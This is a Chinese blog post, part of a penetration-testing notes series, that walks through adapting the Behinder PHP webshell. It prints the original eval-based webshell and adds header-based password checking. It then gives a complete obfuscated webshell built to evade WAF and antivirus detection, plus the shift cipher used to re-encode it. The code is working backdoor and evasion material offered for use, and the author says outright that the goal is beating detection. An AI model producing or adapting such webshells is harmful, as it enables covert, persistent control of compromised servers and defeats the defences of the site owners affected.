本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
文章目录
文章目录
前文链接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目录扫描,请求重发,漏洞扫描等工具的使用
- 网站信息收集及nmap的下载使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各种注入
- SQL注入(3)——SQLMAP
- SQL注入(4)——实战SQL注入拿webshell
- Vulnhub靶机渗透之Me and My Girlfriend
- XSS漏洞
- 文件上传漏洞
- 文件上传绕过
- 文件包含漏洞
- Vulnhub靶机渗透之zico2
- 命令执行漏洞
- 逻辑漏洞(越权访问和支付漏洞)
- 网站后台安全
- weevely的使用及免杀(Linux中的菜刀)
- MSF(1)——一次完整的渗透流程
- WebShell命令执行限制(解决方案)
- 记一次艰难的SQL注入(过安全狗)
- MSF(2)——各种木马的生成及简单的免杀
- MSF(3)——apk和exe的加马(过360、火绒)
- 通过Frp解决实现内网穿透
前言
之前发的免杀文章有人说失效了。确实失效了。shellcode的免杀失效了,webshell的免杀被杀了。按理说我应该把之前的文章删掉。但是我不仅没有删,还开了一个专栏叫免杀。因为免杀这种东西,就是提供一个思路。你顺着这个思路,自己对你的shellcode或者webshell进行改造。然后不要发到网上去。发到网上去就会被waf的爬虫找到,然后你的免杀就失效了。我在写之前的文章就料到有这样一天。免杀还是靠自己的编程基础来实现,网上的就是提供一个思路,这篇文章中提供的webshell也可能很快就会失效,和waf作战本就是艰苦卓绝。只有举一反三,求本逐妙,才能在与waf的战斗中得胜。
最近喜欢用冰蝎,因为它比较强。但是免杀效果不太行。本文以php webshell的default_aes编码器为例,实现密码验证和免杀实现。
效果
先看下原本的webshell
@error_reporting(0);function Decrypt($data){$key="e45e329feb5d925b"; //¸ÃÃÜԿΪÁ¬½ÓÃÜÂë32λmd5ÖµµÄÇ°16λ£¬Ä¬ÈÏÁ¬½ÓÃÜÂërebeyondreturn openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);}$post=Decrypt(file_get_contents("php://input")); eval($post);?>
WEBDIR
D盾
再看下免杀之后的马子
D盾
WEBDIR
可见免杀效果是非常的好
目标
两个目标
1. 实现密码验证功能
2. 实现免杀
密码验证功能
直接生成的马子,是没有密码验证功能的,用冰蝎连接的时候输链接就可以了
也是非常的捞。
但是我们可以指定请求头,这样我们就可以从请求头下手。
首先查看源代码
先定义了一个函数,接着获取请求内容,解密,接着直接eval执行。
可以蒙到核心代码是这两行
只要再这两行代码前加上密码验证的语句就ok了。
例如,我要验证请求头中Pass的内容是否为password
先获取请求头中是否存在Pass段,若存在则进入验证。
改造之后是这样
$b=0;if (array_key_exists('Pass',apache_request_headers())) { $b=apache_request_headers()['Pass']==='password';}if ($b) { $post = Decrypt(file_get_contents("php://input")); eval($post);}
当然也可以自己修改,注意大小写,Pass第一位必须大写,否则识别不了。
这样修改之后,在连接时要在请求头处设置内容。
当然也可以自行修改你的密码。
免杀
先把免杀后的webshell贴出来。
error_reporting(0);function d($a){ return openssl_decrypt(base64_decode($a), base64_decode(strrev(str_rot13('=V0DS1PBlRGYGIHD'))), base64_decode(str_rot13('MGD1MGZlBJ') . strrev('==gY1ITOkVjYlZ')), OPENSSL_PKCS1_PADDING);}function p($k){ $s = 0; foreach (str_split($k) as $a) { foreach (str_split(ord($a) . "") as $b) { $s += $b; } } while (10 > $s && $s < 100) { if (10 < $s) $s = $s * 2; else $s = $s / 3; } return $s;}function a($b){ $r = ""; foreach (str_split(base64_decode($b)) as $s) { $r .= chr(ord($s) - p("dvcqazjiomk")); } return $r;}$p = d('IHwa8t2BcjZISwq2jfqEHw==');$f = 0;if (array_key_exists('Pass', apache_request_headers())) $f = apache_request_headers()['Pass'] === $p;if ($f) $c = a('vMu+us2+uL/Ox7zNwsjH')("", a('vs+6xYG9gb/Cxb64wL7NuLzIx82+x83Mgb2Be5GywMKqx4zTs6C7s8TFqNGIrsSIitCWlnuCgoKClA=='));$c(); ?>
使用时请指定请求头为:Pass:password
写到这里突然不想写了,大概讲一下。
d()函数是aes解密函数,里面的字符串我做了一点小小的处理。
p()函数是辅助函数,传入一个字符串会返回一个10到100之间的整数。
a()函数是解密函数,把加密后的代码进行解密。里面的kiocpmg是密钥。可以自己改。
简单来说就是把里面的字符串加密了,然后混淆视听,让waf认不出来。
把加密算法也贴一下吧,密钥改一下就可以让代码改头换面了。反正核心还是一样。
class Cipher{ public static $key = 'abcdefg'; function parse($key) { $s = 0; foreach (str_split($key) as $a) { foreach (str_split(ord($a) . "") as $b) { $s += $b; } } while (10 > $s && $s < 100) { if (10 < $s) $s = $s * 2; else $s = $s / 3; } return $s; } function en($data) { $res = ""; foreach (str_split($data) as $s) { $res .= chr(ord($s) + self::parse(self::$key)); } return base64_encode($res); } function de($data) { $res = ""; $data = base64_decode($data); foreach (str_split($data) as $s) { $res .= chr(ord($s) - self::parse(self::$key)); } return $res; }}
后话
还是那句话,网上的免杀就是看个热闹,真要免杀还是要自己动手。
来源地址:https://blog.csdn.net/realmels/article/details/128354530